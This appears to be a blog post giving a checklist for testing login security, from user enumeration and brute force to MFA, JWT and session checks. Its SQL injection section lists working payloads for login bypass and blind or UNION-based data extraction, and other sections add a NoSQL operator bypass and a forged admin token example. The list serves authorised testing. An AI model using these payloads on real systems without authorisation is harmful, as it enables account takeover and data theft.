July 19, 2026

Login Security Testing Checklist

User Enumeration

By Varshith Reddy

1 min read

User Enumeration

Check if responses differ for valid and invalid usernames.
Check if responses differ for valid and invalid emails.
Compare response times for existing vs non-existing users.
Check error messages for information disclosure.

Brute Force Protection

 Test multiple password attempts.
 Check account lockout mechanisms.
 Check IP-based rate limiting.
 Check username-based rate limiting.
 Check if CAPTCHA appears after failed attempts.
 Test distributed brute-force attempts.

Password Policy Validation

Verify weak passwords cannot authenticate unexpectedly.
Test leading/trailing spaces.
Test Unicode characters.
Test extremely long passwords.

Authentication Bypass

Remove password parameter.
Send empty password.
Send null values.
Modify request methods (GET/POST).
Test parameter pollution.

Example

username=admin&password=

SQL Injection

 Username field.
 Email field.
 Password field.
 Hidden login parameters.

Payloads

' OR '1'='1
' OR '1'='1'--
admin' --
' OR 1=1#
' UNION SELECT 1, 'admin', 'password'--
' ORDER BY 1--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 1, version(), 3--
' UNION SELECT 1, user(), 3--
' UNION SELECT table_name, NULL FROM information_schema.tables--
' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))--
' AND 1=CAST((SELECT version()) AS INT)--
' AND (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)))--
' AND UPDATEXML(1, CONCAT(0x7e, version()), 1)--
' AND 1=CONVERT(INT, (SELECT @@version))--
' AND 1=1--
' AND 1=2--
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--
' AND (SELECT SUBSTRING(password,1,1) FROM users) = 'a'--

NoSQL Injection

 Test JSON parameters.
 Test MongoDB operators.

Example

{
  "username":{"$ne":null},
  "password":{"$ne":null}
}

Multi-Factor Authentication (MFA)

 Check if MFA can be skipped.
 Directly access authenticated endpoints after login.
 Reuse old OTPs.
 Test OTP expiration.
 Test OTP brute forcing.
 Check rate limiting on OTP submissions.

Session Management

Session generated after successful login.
Session ID randomness.
Session fixation testing.
Concurrent session handling.
Session invalidation after logout.

Remember Me Functionality

 Inspect remember-me token.
 Test token expiration.
 Test token reuse.
 Test token predictability.

JWT Testing (If Used)

 Check algorithm confusion.
 Modify claims.
 Modify user IDs.
 Check token expiration validation.
 Check signature verification.

Example

{
  "sub":"1",
  "role":"admin"
}

HTTP Parameter Pollution

 Check which value is processed.
 Test validation bypasses.

Example

username=user&username=admin

Account Lockout Testing

Lockout threshold verification.
Lockout duration verification.
Check lockout bypass using different IPs.
Check lockout bypass using different usernames.

CAPTCHA Testing

Remove CAPTCHA token.
Reuse CAPTCHA token.
Submit invalid CAPTCHA values.
Replay previously solved CAPTCHA.

Business Logic Testing

 Login before email verification.
 Login with suspended account.
 Login with deleted account.
 Login using old credentials after password change.
 Simultaneous login race conditions.

OAuth / SSO Testing (If Available)

 Google Login
 Microsoft Login
 GitHub Login
 Check account linking issues.
 Check email trust assumptions.
 Check authorization code reuse.

Information Disclosure

Stack traces in responses.
Internal server errors.
Username disclosure.
Authentication debug messages.
HttpOnly flag present.
Secure flag present.
SameSite configured.
Sensitive data not stored in cookies.